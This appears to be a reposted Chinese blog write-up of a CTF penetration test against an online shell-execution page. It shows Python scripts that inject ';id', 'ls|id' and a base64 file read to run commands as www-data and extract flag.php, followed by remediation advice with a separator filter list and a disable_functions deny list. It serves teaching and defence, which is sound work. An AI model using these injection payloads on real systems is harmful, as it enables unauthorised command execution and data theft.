BurpSuite+AI渗透测试(七):一个分号,拿下服务器

admin 2026-06-17 04:41:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次针对Web应用命令注入漏洞的渗透测试过程,发现目标系统因未过滤分号分隔符导致攻击者可执行任意系统命令。通过分号截断和Base64编码成功读取敏感文件,最终提出使用白名单机制、转义函数和权限控制等修复方案。 综合评分: 92 文章分类: 漏洞分析,WEB安全,渗透测试,实战经验,安全开发


cover_image

BurpSuite+AI渗透测试(七):一个分号,拿下服务器

原创

yusaho yusaho

Web安全工具库

2026年6月11日 16:25 河南

在小说阅读器读本章

去阅读

一、概述

测试人员对目标 Web 应用进行黑盒安全评估。该应用为一个在线代码执行平台,允许用户提交 Shell 脚本并在服务器端运行。测试过程中发现服务器端存在严重的输入过滤缺陷,导致攻击者可在未授权状态下执行任意系统指令并读取敏感文件。


二、漏洞详情

2.1 漏洞类型

操作系统命令注入(OS Command Injection)

2.2 风险等级

高危(High)

2.3 漏洞位置

POST / HTTP/1.1
Host: 2f1bb9c7-ec5****ge.ctf.show
Content-Type: application/x-www-form-urlencoded

shell_code=<payload>

2.4 漏洞成因

服务器后端将用户输入直接拼接至系统调用中,伪代码逻辑如下:

// 危险写法(示意)
$cmd&nbsp;=&nbsp;"ls "&nbsp;.&nbsp;$_POST['shell_code'];
system($cmd);

后端对输入进行了部分过滤(限制空格使用),但未过滤命令分隔符 ;,导致攻击者可通过注入分隔符截断原有指令并追加任意命令。


三、测试过程

3.1 信息收集

访问目标页面,确认功能为 Shell 指令执行框。初步判断存在服务端执行用户输入的逻辑。提交基础指令 ls,服务器返回执行成功提示但无输出内容,确认为无回显命令执行场景。

3.2 过滤规则探测

测试常见分隔符,逐步确认哪些字符未被过滤:

import&nbsp;requests

target =&nbsp;"https://2f1bb9c7-ec50-*********6d.challenge.ctf.show/"

payloads = {
&nbsp; &nbsp;&nbsp;"管道符":&nbsp;"ls|id",
&nbsp; &nbsp;&nbsp;"分号": &nbsp;&nbsp;";id",
&nbsp; &nbsp;&nbsp;"逻辑与":&nbsp;"&&id",
&nbsp; &nbsp;&nbsp;"后台执行":&nbsp;"&id",
}

for&nbsp;name, payload&nbsp;in&nbsp;payloads.items():
&nbsp; &nbsp; resp = requests.post(target, data={"shell_code": payload})
&nbsp; &nbsp;&nbsp;# 通过返回内容是否包含 uid= 判断是否执行成功
&nbsp; &nbsp; hit =&nbsp;"uid="in&nbsp;resp.text
&nbsp; &nbsp;&nbsp;print(f"[{'✓'&nbsp;if&nbsp;hit&nbsp;else&nbsp;'✗'}]&nbsp;{name:8s}&nbsp; payload={payload!r}")

探测结果:

[✓] 管道符 &nbsp; &nbsp;payload='ls|id'
[✓] 分号 &nbsp; &nbsp; &nbsp;payload=';id'
[✗] 逻辑与 &nbsp; &nbsp;payload='&&id'
[✗] 后台执行 &nbsp;payload='&id'

分号 ; 与管道符 | 均未被过滤,可用于截断并注入后续指令。

3.3 漏洞验证

使用分号注入 id 指令验证代码执行权限:

import&nbsp;requests

target =&nbsp;"https://2f1bb9c********llenge.ctf.show/"

payload =&nbsp;";id"
resp = requests.post(target, data={"shell_code": payload})
print(resp.text)

服务器回显:

ls ;id execute success!
flag.php
index.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认漏洞存在,当前进程权限为 www-data,同时获得目录文件列表,发现目标文件 flag.php

3.4 敏感文件读取

直接读取时,PHP 标签导致内容被解析不可见:

payload =&nbsp;";cat flag.php"
resp = requests.post(target, data={"shell_code": payload})
print(resp.text)
# 输出仅有文件名列表,PHP 代码内容被渲染为空

改用编码方案,将文件内容以 Base64 形式输出后再本地解码:

import&nbsp;requests
import&nbsp;base64
import&nbsp;re

target =&nbsp;"https://2f1b*******d.challenge.ctf.show/"

# 第一步:获取 Base64 编码内容
payload =&nbsp;";b*se64 fl*g.php"
resp = requests.post(target, data={"shell_code": payload})

# 从响应中提取 Base64 字符串(去除页面其余内容)
b64 = re.search(r'([A-Za-z0-9+/=]{20,})', resp.text)
if&nbsp;b64:
&nbsp; &nbsp; decoded = base64.b64decode(b64.group(1)).decode()
&nbsp; &nbsp;&nbsp;print("[+] 文件内容:")
&nbsp; &nbsp;&nbsp;print(decoded)

执行输出:

[+] 文件内容:
<?php

$fl*g = "CTF{no_******mm*nds}";

敏感信息成功读取。


四、影响范围

  • • 可在服务器上以 w*****a 权限执行任意系统指令
  • • 可读取 Web 目录下所有文件,包括含有敏感信息的配置文件
  • • 若服务器存在其他提权路径,攻击者可进一步扩大控制范围

五、修复建议

1. 禁止直接将用户输入传入系统调用

避免使用 system()exec()shell_exec()passthru() 等函数处理用户输入。若业务必须执行外部命令,应使用白名单机制严格限制可执行的指令范围。

2. 对用户输入进行严格过滤

过滤所有命令分隔符及特殊字符,包括但不限于:

; | & ` $ ( ) { } [ ] < > \n \r

PHP 环境下应使用 escapeshellarg() 对参数进行转义:

// 修复示例
$allowed&nbsp;= ['ls',&nbsp;'pwd',&nbsp;'date']; &nbsp;// 白名单
$input&nbsp;=&nbsp;trim($_POST['shell_code']);

if&nbsp;(!in_array($input,&nbsp;$allowed)) {
&nbsp; &nbsp;&nbsp;die("指令不在允许范围内");
}

// 即使使用白名单,传参时仍应转义
$safe&nbsp;=&nbsp;escapeshellcmd($input);
system($safe);

3. 以最小权限运行 Web 进程

确保 Web 服务进程(如 www-data)不具备访问敏感目录或执行高权限操作的能力,限制横向移动和提权空间。

4. 敏感文件访问控制

将含有密钥、凭据等敏感信息的文件移出 Web 根目录,并通过文件系统权限限制读取:

# 将敏感配置移至 Web 根目录之外
mv&nbsp;/var/www/html/config.php /etc/myapp/config.php
chmod&nbsp;600 /etc/myapp/config.php
chown&nbsp;root:root /etc/myapp/config.php

5. 禁用危险函数

在 php.ini 中通过 disable_functions 禁用不必要的命令执行函数:

disable_functions&nbsp;= system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec

六、总结

| 项目 | 内容 | | — | — | | 漏洞类型 | OS 命令注入 | | 利用难度 | 低 | | 危害程度 | 高 | | 修复优先级 | 紧急 | | 根本原因 | 用户输入未过滤直接拼接至系统调用 | | 绕过方式 | 分号截断 + Base64 编码绕过渲染 |

本次测试发现目标系统存在高危命令注入漏洞,根本原因在于服务端对用户输入过度信任,过滤策略不完整。攻击者无需任何凭据即可在服务器上执行任意指令并读取敏感文件。建议立即停止在生产环境中暴露此类功能接口,并按上述方案完成修复。

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Web安全工具库 yusaho yusaho《BurpSuite+AI渗透测试(七):一个分号,拿下服务器》

    评论:0   参与:  0